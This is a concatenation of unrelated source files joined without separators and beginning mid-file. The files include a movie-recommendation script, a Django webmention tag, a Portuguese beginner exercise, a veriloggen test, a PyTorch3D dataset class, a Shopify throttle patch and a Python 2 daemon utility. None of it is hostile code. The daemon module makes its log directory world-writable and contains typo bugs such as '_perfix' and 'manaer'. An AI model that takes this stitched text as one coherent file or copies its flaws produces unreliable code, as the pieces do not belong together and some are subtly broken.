'age'])['rating'].mean() #__________________________________ #AGE BASED CF def agecf(uid, mid): if mid in r_matrix: age = users.loc[uid]['age'] if age in age_mean[mid]: age_rating = age_mean[mid][age] else: age_rating = 2.5 else: age_rating = 2.5 return age_rating agecf_score = score(agecf) print("print the score for CF age ", agecf_score) #__________________________________ # AGE & GENDER CF age_gender_mean = merged_df[['age', 'rating', 'movie_id', 'sex']].pivot_table(values = 'rating', index = 'movie_id', columns = ['sex', 'age'], aggfunc = 'mean') def age_gender_cf(uid, mid): if mid in age_gender_mean.index: user = users.loc[uid] age = user['age'] sex = user['sex'] if sex in age_gender_mean.loc[mid]: if age in age_gender_mean.loc[mid][sex]: rating = age_gender_mean.loc[mid][sex][age] if np.isnan(rating): rating = 2.5 return rating return 2.5 age_gender_cf_score = score(age_gender_cf) print("print the score for CF age and gender ", age_gender_cf_score) #__________________________________ # GENDER & OCCUPATION CF gen_occ_mean = merged_df[['sex', 'rating', 'movie_id', 'occupation']].pivot_table(values = 'rating', index = 'movie_id', columns = ['occupation', 'sex'], aggfunc = 'mean') def goc_cf(uid, mid): if mid in gen_occ_mean.index: user = users.loc[uid] gen = user['sex'] job = user['occupation'] if job in gen_occ_mean.loc[mid]: if gen in gen_occ_mean.loc[mid][job]: rating = gen_occ_mean.loc[mid][job][gen] if np.isnan(rating): rating = 2.5 return rating return 2.5 goc_cf_score = score(goc_cf) print("print the score for CF age and occupation ", goc_cf_score) #KNN reader = Reader() data = Dataset.load_from_df(ratings, reader) sim_options = {'name': 'pearson_baseline', 'user_based': False} algo = KNNBaseline(sim_options=sim_options) cross_validate(algo, data, measures=['RMSE', 'MAE'], cv=5, verbose=True) svd = SVD() #evaluate(svd, data, measures=['RMSE']) cross_validate(svd, data, measures=['RMSE', 'MAE'], cv=5, verbose=True) trainset = data.build_full_trainset() testset = trainset.build_anti_testset() algos = SVD() algos.fit(trainset) prediction = algos.test(testset) print(prediction[:3]) print(accuracy.rmse(prediction, verbose=True)) # # # Predict a certain item # userid = str(196) # itemid = str(302) # actual_rating = 4 # print(svd.predict(userid, itemid, actual_rating)) def knn_experiment(movie_title): movie_items = pd.read_csv('item.csv')[['movie_id', 'title']].set_index('title').dropna() data = Dataset.load_builtin('ml-100k') trainset = data.build_full_trainset() sim_options = {'name': 'pearson_baseline', 'user_based': False} algo = KNNBaseline(sim_options=sim_options) algo.fit(trainset) # movie_id and title mapping row = movie_items.index.str.startswith(movie_title) try: raw_id = str(movie_items[row]['movie_id'].values[0]) except: print('Movie not Found') return # Getting KNN id of the provided movie inner_id = algo.trainset.to_inner_iid(raw_id) # Get top 10 matched results neighbors = algo.get_neighbors(inner_id, k=10) neighbors = (algo.trainset.to_raw_iid(inner_id) for inner_id in neighbors) neighbors_ids = [x for x in neighbors] for x in movie_items['movie_id']: if str(x) in neighbors_ids: print(movie_items[movie_items['movie_id'] == x].index.values[0]) movie_title = input("Please enter movier for recommendations : ") print("You entered: " + movie_title) knn_experiment(movie_title) # if __name__ == '__main__': # parser = argparse.ArgumentParser(description='ContentBased Recommendations for a movie') # parser.add_argument('movie_title', type=str, help='title of a movie') # # args = parser.parse_args() # # knn_experiment(args.movie_title) scores = {'age_gender': age_gender_cf_score, 'age': agecf_score, 'gender_job': goc_cf_score, 'gender': gcf_score, 'mean': cf_user_mean_score, 'w_mean': cf_user_wmean_score, 'baseline':baseline_score} names = list(scores.keys()) values = list(scores.values()) for i in range(0,len(names)): plt.bar(i, values[i], tick_label = names[i]) plt.xticks(range(0,len(names)),names) plt.ylabel("Score") plt.xlabel("Collaborative Filters") plt.title("Collaborative Filters score") plt.show() from __future__ import unicode_literals, absolute_import from django import template from ..models import WebMention register = template.Library() @register.assignment_tag def get_webmentions(path): """ Allows you to get the published Webmentions for a given path (i.e. what you get from `my_model_instance.get_absolute_url()`). ## Usage: ``` {% load webmentions %} {% get_webmentions object.get_absolute_url as webmention_list %} ``` """ return WebMention.objects.published().filter(target_path=path)# DOBRO, TRIPLO E RAIZ QUADRADA """Lê um número e exibe seu dobro, seu triplo e sua raiz quadrada""" n = float(input('Digite um número: _ ')) print('O dobro de {} é {:.2f}'.format(n, n * 2)) print('O triplo de {} é {:.2f}'.format(n, n * 3)) print('A raiz quadrada de {} é {:.2f}'.format(n, n ** 0.5)) akmaru/veriloggen from __future__ import absolute_import from __future__ import print_function import veriloggen import dataflow_manager_readwrite expected_verilog = """ module test ( ); reg CLK; reg RST; main uut ( .CLK(CLK), .RST(RST) ); initial begin $dumpfile("uut.vcd"); $dumpvars(0, uut, CLK, RST); end initial begin CLK = 0; forever begin #5 CLK = !CLK; end end initial begin RST = 0; #100; RST = 1; #100; RST = 0; #100000; $finish; end endmodule module main ( input CLK, input RST ); reg [32-1:0] xdata; reg xvalid; wire xready; reg [32-1:0] xfsm; localparam xfsm_init = 0; reg [32-1:0] _tmp_0; reg __dataflow_seq_0_cond_0_1; reg [32-1:0] yfsm; localparam yfsm_init = 0; reg [32-1:0] _tmp_1; wire [32-1:0] ydata; wire yvalid; wire yready; reg [32-1:0] _tmp_2; assign ydata = _tmp_2; reg _tmp_3; assign yvalid = _tmp_3; reg __dataflow_seq_0_cond_1_1; wire [32-1:0] adata; wire avalid; wire aready; assign aready = 1; wire [32-1:0] bdata; wire bvalid; wire bready; assign bready = 1; reg [32-1:0] _dataflow_plus_data_2; reg _dataflow_plus_valid_2; wire _dataflow_plus_ready_2; reg [32-1:0] _dataflow__delay_data_7; reg _dataflow__delay_valid_7; wire _dataflow__delay_ready_7; assign xready = (_dataflow_plus_ready_2 || !_dataflow_plus_valid_2) && (xvalid && yvalid) && ((_dataflow__delay_ready_7 || !_dataflow__delay_valid_7) && xvalid); reg [32-1:0] _dataflow__delay_data_9; reg _dataflow__delay_valid_9; wire _dataflow__delay_ready_9; assign yready = (_dataflow_plus_ready_2 || !_dataflow_plus_valid_2) && (xvalid && yvalid) && ((_dataflow__delay_ready_9 || !_dataflow__delay_valid_9) && yvalid); reg [32-1:0] _dataflow_plus_data_3; reg _dataflow_plus_valid_3; wire _dataflow_plus_ready_3; assign _dataflow_plus_ready_2 = (_dataflow_plus_ready_3 || !_dataflow_plus_valid_3) && _dataflow_plus_valid_2; reg [32-1:0] _dataflow__delay_data_8; reg _dataflow__delay_valid_8; wire _dataflow__delay_ready_8; assign _dataflow__delay_ready_7 = (_dataflow__delay_ready_8 || !_dataflow__delay_valid_8) && _dataflow__delay_valid_7; reg [32-1:0] _dataflow__delay_data_10; reg _dataflow__delay_valid_10; wire _dataflow__delay_ready_10; assign _dataflow__delay_ready_9 = (_dataflow__delay_ready_10 || !_dataflow__delay_valid_10) && _dataflow__delay_valid_9; reg [32-1:0] _dataflow_plus_data_5; reg _dataflow_plus_valid_5; wire _dataflow_plus_ready_5; assign _dataflow__delay_ready_8 = (_dataflow_plus_ready_5 || !_dataflow_plus_valid_5) && (_dataflow_plus_valid_3 && _dataflow__delay_valid_8); reg [32-1:0] _dataflow__delay_data_11; reg _dataflow__delay_valid_11; wire _dataflow__delay_ready_11; assign _dataflow__delay_ready_10 = (_dataflow__delay_ready_11 || !_dataflow__delay_valid_11) && _dataflow__delay_valid_10; reg [32-1:0] _dataflow__delay_data_12; reg _dataflow__delay_valid_12; wire _dataflow__delay_ready_12; assign _dataflow_plus_ready_3 = (_dataflow_plus_ready_5 || !_dataflow_plus_valid_5) && (_dataflow_plus_valid_3 && _dataflow__delay_valid_8) && ((_dataflow__delay_ready_12 || !_dataflow__delay_valid_12) && _dataflow_plus_valid_3); reg [32-1:0] _dataflow_plus_data_6; reg _dataflow_plus_valid_6; wire _dataflow_plus_ready_6; assign _dataflow_plus_ready_5 = (_dataflow_plus_ready_6 || !_dataflow_plus_valid_6) && (_dataflow_plus_valid_5 && _dataflow__delay_valid_11); assign _dataflow__delay_ready_11 = (_dataflow_plus_ready_6 || !_dataflow_plus_valid_6) && (_dataflow_plus_valid_5 && _dataflow__delay_valid_11); reg [32-1:0] _dataflow__delay_data_13; reg _dataflow__delay_valid_13; wire _dataflow__delay_ready_13; assign _dataflow__delay_ready_12 = (_dataflow__delay_ready_13 || !_dataflow__delay_valid_13) && _dataflow__delay_valid_12; assign bdata = _dataflow_plus_data_6; assign bvalid = _dataflow_plus_valid_6; assign _dataflow_plus_ready_6 = bready; assign adata = _dataflow__delay_data_13; assign avalid = _dataflow__delay_valid_13; assign _dataflow__delay_ready_13 = aready; always @(posedge CLK) begin if(RST) begin xdata <= 0; xvalid <= 0; __dataflow_seq_0_cond_0_1 <= 0; _tmp_2 <= 0; _tmp_3 <= 0; __dataflow_seq_0_cond_1_1 <= 0; _dataflow_plus_data_2 <= 0; _dataflow_plus_valid_2 <= 0; _dataflow__delay_data_7 <= 0; _dataflow__delay_valid_7 <= 0; _dataflow__delay_data_9 <= 0; _dataflow__delay_valid_9 <= 0; _dataflow_plus_data_3 <= 0; _dataflow_plus_valid_3 <= 0; _dataflow__delay_data_8 <= 0; _dataflow__delay_valid_8 <= 0; _dataflow__delay_data_10 <= 0; _dataflow__delay_valid_10 <= 0; _dataflow_plus_data_5 <= 0; _dataflow_plus_valid_5 <= 0; _dataflow__delay_data_11 <= 0; _dataflow__delay_valid_11 <= 0; _dataflow__delay_data_12 <= 0; _dataflow__delay_valid_12 <= 0; _dataflow_plus_data_6 <= 0; _dataflow_plus_valid_6 <= 0; _dataflow__delay_data_13 <= 0; _dataflow__delay_valid_13 <= 0; end else begin if(__dataflow_seq_0_cond_0_1) begin xvalid <= 0; end if(__dataflow_seq_0_cond_1_1) begin _tmp_3 <= 0; end if((xfsm == 0) && (xready || !xvalid)) begin xdata <= _tmp_0; end if((xfsm == 0) && (xready || !xvalid)) begin xvalid <= 1; end __dataflow_seq_0_cond_0_1 <= 1; if(xvalid && !xready) begin xvalid <= xvalid; end if((yfsm == 0) && (yready || !_tmp_3)) begin _tmp_2 <= _tmp_1; end if((yfsm == 0) && (yready || !_tmp_3)) begin _tmp_3 <= 1; end __dataflow_seq_0_cond_1_1 <= 1; if(_tmp_3 && !yready) begin _tmp_3 <= _tmp_3; end if((_dataflow_plus_ready_2 || !_dataflow_plus_valid_2) && (xready && yready) && (xvalid && yvalid)) begin _dataflow_plus_data_2 <= xdata + ydata; end if(_dataflow_plus_valid_2 && _dataflow_plus_ready_2) begin _dataflow_plus_valid_2 <= 0; end if((_dataflow_plus_ready_2 || !_dataflow_plus_valid_2) && (xready && yready)) begin _dataflow_plus_valid_2 <= xvalid && yvalid; end if((_dataflow__delay_ready_7 || !_dataflow__delay_valid_7) && xready && xvalid) begin _dataflow__delay_data_7 <= xdata; end if(_dataflow__delay_valid_7 && _dataflow__delay_ready_7) begin _dataflow__delay_valid_7 <= 0; end if((_dataflow__delay_ready_7 || !_dataflow__delay_valid_7) && xready) begin _dataflow__delay_valid_7 <= xvalid; end if((_dataflow__delay_ready_9 || !_dataflow__delay_valid_9) && yready && yvalid) begin _dataflow__delay_data_9 <= ydata; end if(_dataflow__delay_valid_9 && _dataflow__delay_ready_9) begin _dataflow__delay_valid_9 <= 0; end if((_dataflow__delay_ready_9 || !_dataflow__delay_valid_9) && yready) begin _dataflow__delay_valid_9 <= yvalid; end if((_dataflow_plus_ready_3 || !_dataflow_plus_valid_3) && _dataflow_plus_ready_2 && _dataflow_plus_valid_2) begin _dataflow_plus_data_3 <= _dataflow_plus_data_2 + 2'sd1; end if(_dataflow_plus_valid_3 && _dataflow_plus_ready_3) begin _dataflow_plus_valid_3 <= 0; end if((_dataflow_plus_ready_3 || !_dataflow_plus_valid_3) && _dataflow_plus_ready_2) begin _dataflow_plus_valid_3 <= _dataflow_plus_valid_2; end if((_dataflow__delay_ready_8 || !_dataflow__delay_valid_8) && _dataflow__delay_ready_7 && _dataflow__delay_valid_7) begin _dataflow__delay_data_8 <= _dataflow__delay_data_7; end if(_dataflow__delay_valid_8 && _dataflow__delay_ready_8) begin _dataflow__delay_valid_8 <= 0; end if((_dataflow__delay_ready_8 || !_dataflow__delay_valid_8) && _dataflow__delay_ready_7) begin _dataflow__delay_valid_8 <= _dataflow__delay_valid_7; end if((_dataflow__delay_ready_10 || !_dataflow__delay_valid_10) && _dataflow__delay_ready_9 && _dataflow__delay_valid_9) begin _dataflow__delay_data_10 <= _dataflow__delay_data_9; end if(_dataflow__delay_valid_10 && _dataflow__delay_ready_10) begin _dataflow__delay_valid_10 <= 0; end if((_dataflow__delay_ready_10 || !_dataflow__delay_valid_10) && _dataflow__delay_ready_9) begin _dataflow__delay_valid_10 <= _dataflow__delay_valid_9; end if((_dataflow_plus_ready_5 || !_dataflow_plus_valid_5) && (_dataflow_plus_ready_3 && _dataflow__delay_ready_8) && (_dataflow_plus_valid_3 && _dataflow__delay_valid_8)) begin _dataflow_plus_data_5 <= _dataflow_plus_data_3 + _dataflow__delay_data_8; end if(_dataflow_plus_valid_5 && _dataflow_plus_ready_5) begin _dataflow_plus_valid_5 <= 0; end if((_dataflow_plus_ready_5 || !_dataflow_plus_valid_5) && (_dataflow_plus_ready_3 && _dataflow__delay_ready_8)) begin _dataflow_plus_valid_5 <= _dataflow_plus_valid_3 && _dataflow__delay_valid_8; end if((_dataflow__delay_ready_11 || !_dataflow__delay_valid_11) && _dataflow__delay_ready_10 && _dataflow__delay_valid_10) begin _dataflow__delay_data_11 <= _dataflow__delay_data_10; end if(_dataflow__delay_valid_11 && _dataflow__delay_ready_11) begin _dataflow__delay_valid_11 <= 0; end if((_dataflow__delay_ready_11 || !_dataflow__delay_valid_11) && _dataflow__delay_ready_10) begin _dataflow__delay_valid_11 <= _dataflow__delay_valid_10; end if((_dataflow__delay_ready_12 || !_dataflow__delay_valid_12) && _dataflow_plus_ready_3 && _dataflow_plus_valid_3) begin _dataflow__delay_data_12 <= _dataflow_plus_data_3; end if(_dataflow__delay_valid_12 && _dataflow__delay_ready_12) begin _dataflow__delay_valid_12 <= 0; end if((_dataflow__delay_ready_12 || !_dataflow__delay_valid_12) && _dataflow_plus_ready_3) begin _dataflow__delay_valid_12 <= _dataflow_plus_valid_3; end if((_dataflow_plus_ready_6 || !_dataflow_plus_valid_6) && (_dataflow_plus_ready_5 && _dataflow__delay_ready_11) && (_dataflow_plus_valid_5 && _dataflow__delay_valid_11)) begin _dataflow_plus_data_6 <= _dataflow_plus_data_5 + _dataflow__delay_data_11; end if(_dataflow_plus_valid_6 && _dataflow_plus_ready_6) begin _dataflow_plus_valid_6 <= 0; end if((_dataflow_plus_ready_6 || !_dataflow_plus_valid_6) && (_dataflow_plus_ready_5 && _dataflow__delay_ready_11)) begin _dataflow_plus_valid_6 <= _dataflow_plus_valid_5 && _dataflow__delay_valid_11; end if((_dataflow__delay_ready_13 || !_dataflow__delay_valid_13) && _dataflow__delay_ready_12 && _dataflow__delay_valid_12) begin _dataflow__delay_data_13 <= _dataflow__delay_data_12; end if(_dataflow__delay_valid_13 && _dataflow__delay_ready_13) begin _dataflow__delay_valid_13 <= 0; end if((_dataflow__delay_ready_13 || !_dataflow__delay_valid_13) && _dataflow__delay_ready_12) begin _dataflow__delay_valid_13 <= _dataflow__delay_valid_12; end end end localparam xfsm_1 = 1; always @(posedge CLK) begin if(RST) begin xfsm <= xfsm_init; _tmp_0 <= 0; end else begin case(xfsm) xfsm_init: begin if(xready || !xvalid) begin _tmp_0 <= _tmp_0 + 1; end if((xready || !xvalid) && (_tmp_0 == 15)) begin xfsm <= xfsm_1; end end endcase end end localparam yfsm_1 = 1; always @(posedge CLK) begin if(RST) begin yfsm <= yfsm_init; _tmp_1 <= 0; end else begin case(yfsm) yfsm_init: begin if(yready || !_tmp_3) begin _tmp_1 <= _tmp_1 + 1; end if((yready || !_tmp_3) && (_tmp_1 == 15)) begin yfsm <= yfsm_1; end end endcase end end always @(posedge CLK) begin if(avalid) begin $display("adata=%d", adata); end end always @(posedge CLK) begin if(bvalid) begin $display("bdata=%d", bdata); end end endmodule """ def test(): veriloggen.reset() test_module = dataflow_manager_readwrite.mkTest() code = test_module.to_verilog() from pyverilog.vparser.parser import VerilogParser from pyverilog.ast_code_generator.codegen import ASTCodeGenerator parser = VerilogParser() expected_ast = parser.parse(expected_verilog) codegen = ASTCodeGenerator() expected_code = codegen.visit(expected_ast) assert(expected_code == code) # Copyright (c) Meta Platforms, Inc. and affiliates. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import warnings from typing import Dict, List, Optional, Tuple import torch from pytorch3d.common.types import Device from pytorch3d.io import load_obj from pytorch3d.renderer import ( FoVPerspectiveCameras, HardPhongShader, MeshRasterizer, MeshRenderer, PointLights, RasterizationSettings, TexturesVertex, ) from .utils import collate_batched_meshes class ShapeNetBase(torch.utils.data.Dataset): # pragma: no cover """ 'ShapeNetBase' implements a base Dataset for ShapeNet and R2N2 with helper methods. It is not intended to be used on its own as a Dataset for a Dataloader. Both __init__ and __getitem__ need to be implemented. """ def __init__(self) -> None: """ Set up lists of synset_ids and model_ids. """ self.synset_ids = [] self.model_ids = [] self.synset_inv = {} self.synset_start_idxs = {} self.synset_num_models = {} self.shapenet_dir = "" self.model_dir = "model.obj" self.load_textures = True self.texture_resolution = 4 def __len__(self) -> int: """ Return number of total models in the loaded dataset. """ return len(self.model_ids) def __getitem__(self, idx) -> Dict: """ Read a model by the given index. Need to be implemented for every child class of ShapeNetBase. Args: idx: The idx of the model to be retrieved in the dataset. Returns: dictionary containing information about the model. """ raise NotImplementedError( "__getitem__ should be implemented in the child class of ShapeNetBase" ) def _get_item_ids(self, idx) -> Dict: """ Read a model by the given index. Args: idx: The idx of the model to be retrieved in the dataset. Returns: dictionary with following keys: - synset_id (str): synset id - model_id (str): model id """ model = {} model["synset_id"] = self.synset_ids[idx] model["model_id"] = self.model_ids[idx] return model def _load_mesh(self, model_path) -> Tuple: verts, faces, aux = load_obj( model_path, create_texture_atlas=self.load_textures, load_textures=self.load_textures, texture_atlas_size=self.texture_resolution, ) if self.load_textures: textures = aux.texture_atlas # Some meshes don't have textures. In this case # create a white texture map if textures is None: textures = verts.new_ones( faces.verts_idx.shape[0], self.texture_resolution, self.texture_resolution, 3, ) else: textures = None return verts, faces.verts_idx, textures def render( self, model_ids: Optional[List[str]] = None, categories: Optional[List[str]] = None, sample_nums: Optional[List[int]] = None, idxs: Optional[List[int]] = None, shader_type=HardPhongShader, device: Device = "cpu", **kwargs ) -> torch.Tensor: """ If a list of model_ids are supplied, render all the objects by the given model_ids. If no model_ids are supplied, but categories and sample_nums are specified, randomly select a number of objects (number specified in sample_nums) in the given categories and render these objects. If instead a list of idxs is specified, check if the idxs are all valid and render models by the given idxs. Otherwise, randomly select a number (first number in sample_nums, default is set to be 1) of models from the loaded dataset and render these models. Args: model_ids: List[str] of model_ids of models intended to be rendered. categories: List[str] of categories intended to be rendered. categories and sample_nums must be specified at the same time. categories can be given in the form of synset offsets or labels, or a combination of both. sample_nums: List[int] of number of models to be randomly sampled from each category. Could also contain one single integer, in which case it will be broadcasted for every category. idxs: List[int] of indices of models to be rendered in the dataset. shader_type: Select shading. Valid options include HardPhongShader (default), SoftPhongShader, HardGouraudShader, SoftGouraudShader, HardFlatShader, SoftSilhouetteShader. device: Device (as str or torch.device) on which the tensors should be located. **kwargs: Accepts any of the kwargs that the renderer supports. Returns: Batch of rendered images of shape (N, H, W, 3). """ idxs = self._handle_render_inputs(model_ids, categories, sample_nums, idxs) # Use the getitem method which loads mesh + texture models = [self[idx] for idx in idxs] meshes = collate_batched_meshes(models)["mesh"] if meshes.textures is None: meshes.textures = TexturesVertex( verts_features=torch.ones_like(meshes.verts_padded(), device=device) ) meshes = meshes.to(device) cameras = kwargs.get("cameras", FoVPerspectiveCameras()).to(device) if len(cameras) != 1 and len(cameras) % len(meshes) != 0: raise ValueError("Mismatch between batch dims of cameras and meshes.") if len(cameras) > 1: # When rendering R2N2 models, if more than one views are provided, broadcast # the meshes so that each mesh can be rendered for each of the views. meshes = meshes.extend(len(cameras) // len(meshes)) renderer = MeshRenderer( rasterizer=MeshRasterizer( cameras=cameras, raster_settings=kwargs.get("raster_settings", RasterizationSettings()), ), shader=shader_type( device=device, cameras=cameras, lights=kwargs.get("lights", PointLights()).to(device), ), ) return renderer(meshes) def _handle_render_inputs( self, model_ids: Optional[List[str]] = None, categories: Optional[List[str]] = None, sample_nums: Optional[List[int]] = None, idxs: Optional[List[int]] = None, ) -> List[int]: """ Helper function for converting user provided model_ids, categories and sample_nums to indices of models in the loaded dataset. If model idxs are provided, we check if the idxs are valid. If no models are specified, the first model in the loaded dataset is chosen. The function returns the file paths to the selected models. Args: model_ids: List[str] of model_ids of models to be rendered. categories: List[str] of categories to be rendered. sample_nums: List[int] of number of models to be randomly sampled from each category. idxs: List[int] of indices of models to be rendered in the dataset. Returns: List of paths of models to be rendered. """ # Get corresponding indices if model_ids are supplied. if model_ids is not None and len(model_ids) > 0: idxs = [] for model_id in model_ids: if model_id not in self.model_ids: raise ValueError( "model_id %s not found in the loaded dataset." % model_id ) idxs.append(self.model_ids.index(model_id)) # Sample random models if categories and sample_nums are supplied and get # the corresponding indices. elif categories is not None and len(categories) > 0: sample_nums = [1] if sample_nums is None else sample_nums if len(categories) != len(sample_nums) and len(sample_nums) != 1: raise ValueError( "categories and sample_nums needs to be of the same length or " "sample_nums needs to be of length 1." ) idxs_tensor = torch.empty(0, dtype=torch.int32) for i in range(len(categories)): category = self.synset_inv.get(categories[i], categories[i]) if category not in self.synset_inv.values(): raise ValueError( "Category %s is not in the loaded dataset." % category ) # Broadcast if sample_nums has length of 1. sample_num = sample_nums[i] if len(sample_nums) > 1 else sample_nums[0] sampled_idxs = self._sample_idxs_from_category( sample_num=sample_num, category=category ) idxs_tensor = torch.cat((idxs_tensor, sampled_idxs)) idxs = idxs_tensor.tolist() # Check if the indices are valid if idxs are supplied. elif idxs is not None and len(idxs) > 0: if any(idx < 0 or idx >= len(self.model_ids) for idx in idxs): raise IndexError( "One or more idx values are out of bounds. Indices need to be" "between 0 and %s." % (len(self.model_ids) - 1) ) # Check if sample_nums is specified, if so sample sample_nums[0] number # of indices from the entire loaded dataset. Otherwise randomly select one # index from the dataset. else: sample_nums = [1] if sample_nums is None else sample_nums if len(sample_nums) > 1: msg = ( "More than one sample sizes specified, now sampling " "%d models from the dataset." % sample_nums[0] ) warnings.warn(msg) idxs = self._sample_idxs_from_category(sample_nums[0]) return idxs def _sample_idxs_from_category( self, sample_num: int = 1, category: Optional[str] = None ) -> List[int]: """ Helper function for sampling a number of indices from the given category. Args: sample_num: number of indices to be sampled from the given category. category: category synset of the category to be sampled from. If not specified, sample from all models in the loaded dataset. """ start = self.synset_start_idxs[category] if category is not None else 0 range_len = ( self.synset_num_models[category] if category is not None else self.__len__() ) replacement = sample_num > range_len sampled_idxs = ( torch.multinomial( torch.ones((range_len), dtype=torch.float32), sample_num, replacement=replacement, ) + start ) if replacement: msg = ( "Sample size %d is larger than the number of objects in %s, " "values sampled with replacement." ) % ( sample_num, "category " + category if category is not None else "all categories", ) warnings.warn(msg) return sampled_idxs int1 = input("Enter first integer: ") int2 = input("Enter second integer: ") sum = int(int1) + int(int2) if sum in range(105, 201): print(200) import time import logging import pyactiveresource.connection from shopify.base import ShopifyConnection logger = logging.getLogger("django.shopify") RATIO_THRESHOLD = 0.8 def _check_throttle_limits(response): try: call_limit = response.headers.get("X-Shopify-Shop-Api-Call-Limit") currently_used, maximum_available = map(int, call_limit.split("/")) usage_ratio = currently_used / maximum_available if usage_ratio > RATIO_THRESHOLD: logger.warning( f"ShopifyConnection exceeded {RATIO_THRESHOLD * 100}% notification limit. URL: {response.response.url}, call limit: {call_limit}" ) except: logger.exception("ShopifyConnection limit check failed.") def patch_shopify_with_limits(): func = ShopifyConnection._open def patched_open(self, *args, **kwargs): self.timeout = 15 retry_count = 0 while True: try: response = func(self, *args, **kwargs) _check_throttle_limits(response) return response except pyactiveresource.connection.ClientError as e: if e.response.code == 429: if retry_count == 2: raise retry_after = float(e.response.headers.get("Retry-After", 2)) logger.error( f"{e.url} exceeds Shopify API call limit, will retry to send request in {retry_after} seconds." ) time.sleep(retry_after) retry_count += 1 else: raise ShopifyConnection._open = patched_open patch_shopify_with_limits() # -*- Mode: Python; tab-width: 4 -*- # Copyright (c) 2011 # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following # disclaimer in the documentation and/or other materials provided # with the distribution. # * Neither the name of the author nor the names of other # contributors may be used to endorse or promote products derived # from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """common/start.py Common utility module for starting up daemonized processes. Utilizes the code in common/serverlock.py to make sure the correct number of configured processes run at once. Much of the code herein helps with stuff like setting up logs, writing pidfiles, and forking processes. Also, defines useful common arguments related to daemonizing. """ import os import sys import stat import signal import time import argparse import logging import logging.handlers import conf import serverlock def generic_parser(description): """creates a generic argparse ArgumentParser, providing a base set of arguments any process/daemon would find useful. """ parser = argparse.ArgumentParser(description=description) parser.add_argument( '--daemon', default=False, action='store_true', help='Daemonize the process. Will close stdout/stderr in favor of logging' 'both to the log file specified in logfile') parser.add_argument( '-L', '--logfile', default = None, help='Logfile, written in either the base directory the the logdir field' 'defined in the service dictionary. ') progname = os.path.split(sys.argv[0])[-1] default_pidfile = '%s.pid' % progname.split('.')[0] parser.add_argument( '--pidfile', default = default_pidfile, help = 'Overwrite the name of the pid file when --daemon is specified.' 'Default is: %(default)s') parser.add_argument( '-v', '--verbose', default = False, action = 'store_true', help = 'Verbose on (loglevel=DEBUG).', ) return parser ########## # LOGGING ########## LOG_SIZE_MAX = 16*1024*1024 LOG_COUNT_MAX = 50 LOG_FRMT = '[%(name)s|%(asctime)s|%(levelname)s] %(message)s' class LogStreamWrap(object): def __init__(self, log, *args, **kwargs): self._log = log self._prefix = '' def write(self, s): if s[-1] == '\n': s = s[:-1] self._output(self._prefix + s) def _output(self, s): raise NotImplemented() def flush(self): pass class StdOutWrap(LogStreamWrap): def __init__(self, *args, **kwargs): super(StdOutWrap, self).__init__(*args, **kwargs) self._prefix = '>> ' def _output(self, s): self._log.info(s) class StdErrWrap(LogStreamWrap): def __init__(self, *args, **kwargs): super(StdErrWrap, self).__init__(*args, **kwargs) self._perfix = '!> ' def _output(self, s): self._log.error(s) def setup_logdir(logdir): """setup the logdir. os.makedirs() it if it doesn't exist. creates with full writes for all users to read and write to it. """ # if the logdir is not there, create it # if not os.path.isdir(logdir): os.makedirs(logdir) # for simlicity we make it readable globally. can probably change this. if # we want. # os.chmod(logdir, stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO) def setup_logging(logname, logdir, args, monkey = False): """Given an existing logdir (setup with setup_logdir above), sets up the logging streams for this process. """ log = logging.getLogger(logname) log.setLevel(logging.INFO) log_fmt = logging.Formatter(LOG_FRMT) if args.verbose: log.setLevel(logging.DEBUG) # always have a stream handler to stdout # if args.logfile is None: stream_hndlr = logging.StreamHandler(sys.stdout) stream_hndlr.setFormatter(log_fmt) log.addHandler(stream_hndlr) else: logfile = os.path.join(logdir, args.logfile) file_hndlr = logging.handlers.RotatingFileHandler( logfile, 'a', LOG_SIZE_MAX, LOG_COUNT_MAX) file_hndlr.setFormatter(log_fmt) log.addHandler(file_hndlr) if monkey: logging.root = log logging.Logger.root = logging.root logging.manaer = logging.Manager(logging.Logger.root) return log ########## # DAEMON ########## def write_pid(pidfile): fd = file(pidfile, 'w') fd.write('%d' % os.getpid()) fd.flush() fd.close() class IAmParent(Exception): pass class PidFileWriteException(Exception): pass def daemonize(pidfile=None): """daemonize the process with os.fork(). If pidfile is provied, writed the pid of the child process to the file. """ pid = os.fork() if pid: # we're the parent, bow out # raise IAmParent() # write the pid file # try: if pidfile is not None: write_pid(pidfile) except IOError, e: print 'Unable to write pid file, exititng' raise PidFileWriteException() # FUTURE POSTFORK optimizations # Often times it's good to setup process context before we fork. These # tasks can include stuff like: # a) up the maximum # of file descriptors. # b) set user and group to nobody # c) make the process dumpable # ######## # MAIN ######## def main(realmain, args, confs, logname = 'logger', **kw): """main start method. The function will setup the process's logging, and fork if sepcified, and then call the realmain method. Takes the following parameters: realmain: a callable which is executed after all the logging and daemon (forking) work has been done. args: the parsed arguments (argparse.Namespace instnace). confs: The service configuration (a list of dicts or dict-like objects), see the conf module for more information. """ # lock the node # here = serverlock.lock_server(confs) if here is None: return 1 # setup the log # logdir = here.get('logdir', 'logs') setup_logdir(logdir) log = setup_logging( logname, logdir, args, monkey=kw.get('monkey_log', False)) # fork # if args.daemon: try: pidfile = os.path.join(logdir, args.pidfile) daemonize(pidfile) except IAmParent: return 0 except PidFileWriteException, e: return 1 